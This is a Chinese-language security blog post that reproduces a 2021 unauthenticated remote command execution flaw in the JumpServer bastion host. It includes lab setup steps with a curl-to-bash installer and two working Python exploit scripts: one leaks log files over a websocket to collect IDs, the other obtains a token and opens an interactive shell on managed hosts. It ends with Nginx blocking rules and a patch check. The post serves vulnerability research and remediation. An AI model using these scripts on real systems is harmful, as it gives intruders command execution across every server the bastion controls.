前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >开源堡垒机JumpServer远程命令执行漏洞复现

开源堡垒机JumpServer远程命令执行漏洞复现

作者头像
Timeline Sec
发布2021-02-03 11:49:01
3.3K0
发布2021-02-03 11:49:01
举报
文章被收录于专栏:Timeline SecTimeline Sec

0x01 简介

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。

0x02 漏洞概述

2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

0x03 影响版本

JumpServer < v2.6.2

JumpServer < v2.5.4

JumpServer < v2.4.5

JumpServer = v1.5.9

0x04 环境搭建

JumpServer v2.6.1

1、安装脚本

代码语言:javascript
复制
https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

注意是Centos 7 系统

内存8G以上,cpu2核以上

或者执行官网脚本

代码语言:javascript
复制
curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh| bash

2、配置好之后,解压缩包,运行

代码语言:javascript
复制
./quick_start.sh

一路回车即可

3、进入目录下执行:

代码语言:javascript
复制
cd /opt/jumpserver-installer-v2.6.2
./jmsctl.sh start

4、如果发现安装的版本不是 v2.6.1,执行

代码语言:javascript
复制
./jmsctl.sh upgrade v2.6.1

5、访问

代码语言:javascript
复制
http://192.168.217.159:8080

初始账号密码为 admin/admin

6、更新用户列表里的用户名为root,后面ssh连接时的用户是root

7、创建一个系统用户

8、更新管理用户

9、新建一个资产

10、资产授权,否则控制台没有机器

11、成功连接机器

0x05 漏洞复现

1、运行脚本

获取到asset,system_user,user三个ID值

代码语言:javascript
复制
import asyncio
import re
 
import websockets
import json
 
url = "/ws/ops/tasks/log/"
 
async def main_logic(t):
   print("#######start ws")
    async withwebsockets.connect(t) as client:
        awaitclient.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
        while True:
            ret = json.loads(awaitclient.recv())
           print(ret["message"], end="")
 
if __name__ == "__main__":
    host ="http://192.168.217.159:8080"
    target =host.replace("https://","wss://").replace("http://", "ws://") + url
    print("target:%s" % (target,))
   asyncio.get_event_loop().run_until_complete(main_logic(target))

2、将asset,system_user,user三个ID值

放入下面脚本,运行Getshell

代码语言:javascript
复制
import os
import asyncio
import aioconsole
import websockets
import requests
import json
 
url = "/api/v1/authentication/connection-token/?user-only=1"
 
 
def get_celery_task_log_path(task_id):
    task_id =str(task_id)
    rel_path =os.path.join(task_id[0], task_id[1], task_id + ".log")
    path =os.path.join("/opt/jumpserver/", rel_path)
    return path
 
 
async def send_msg(websocket, _text):
    if _text =="exit":
        print(f'youhave enter "exit", goodbye')
        awaitwebsocket.close(reason="user exit")
        returnFalse
    awaitwebsocket.send(_text)
 
 
async def send_loop(ws, session_id):
    while True:
        cmdline =await aioconsole.ainput()
        awaitsend_msg(
            ws,
           json.dumps(
               {"id": session_id, "type":"TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )
 
 
async def recv_loop(ws):
    while True:
        recv_text =await ws.recv()
        ret =json.loads(recv_text)
        ifret.get("type", "TERMINAL_DATA"):
            awaitaioconsole.aprint(ret["data"], end="")
 

# 客户端主逻辑

代码语言:javascript
复制
async def main_logic():
   print("#######start ws")
    async withwebsockets.connect(target) as client:
        recv_text =await client.recv()
       print(f"{recv_text}")
        session_id= json.loads(recv_text)["id"]
       print("get ws id:" + session_id)
        print("###############")
       print("init ws")
       print("###############")
        inittext =json.dumps(
            {
               "id": session_id,
               "type": "TERMINAL_INIT",
               "data": '{"cols":164,"rows":17}',
            }
        )
        awaitsend_msg(client, inittext)
        awaitasyncio.gather(recv_loop(client), send_loop(client, session_id))
 
 
if __name__ == "__main__":
    host ="http://192.168.217.159:8080"
    cmd ="whoami"
    if host[-1] =="/":
        host =host[:-1]
    print(host)
    data ={"user": "4e98541f-a9d9-4d4a-8e62-aab3a3dcc503","asset": "d946e264-d139-4bb4-a375-be8c141587a0",
           "system_user":"2683a326-a6f4-41d3-8590-455fd3990202"}
   print("##################")
    print("gettoken url:%s" % (host + url,))
   print("##################")
    res =requests.post(host + url, json=data)
    token =res.json()["token"]
   print("token:%s", (token,))
   print("##################")
    target = (
       "ws://" + host.replace("http://", "") +"/koko/ws/token/?target_id=" + token
    )
   print("target ws:%s" % (target,))
   asyncio.get_event_loop().run_until_complete(main_logic())

0x06 修复方式

官方修复:将JumpServer升级至安全版本

代码语言:javascript
复制
https://blog.fit2cloud.com/?p=1761

临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

代码语言:javascript
复制
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本

代码语言:javascript
复制
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本

代码语言:javascript
复制
jumpserver-release/nginx/http_server.conf

# 新版本在

代码语言:javascript
复制
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前和 / 之前

代码语言:javascript
复制
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}

# 新增以上这些

代码语言:javascript
复制
location /api/ {
   proxy_set_header X-Real-IP $remote_addr;
   proxy_set_header Host $host;
   proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_passhttp://core:8080;
  }
 
...

修改完成后重启 nginx

docker方式:

代码语言:javascript
复制
docker restart jms_nginx

nginx方式:

代码语言:javascript
复制
systemctl restart nginx

修复验证

代码语言:javascript
复制
$ wgethttps://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh

# 使用方法 bashjms_bug_check.sh HOST

代码语言:javascript
复制
$ bash jms_bug_check.sh demo.jumpserver.org

0x07 总结

JumpServer日志

在/opt/jumpserver/core/logs 路径下

‍websocket 进行日志读取时 以下路径没有找到asset,system_user,user三个ID

代码语言:javascript
复制
ws://192.168.217.159:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/jumpserver"}

看了一下发现可以通过gunicorn路径获取到

代码语言:javascript
复制
ws://192.168.217.159:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档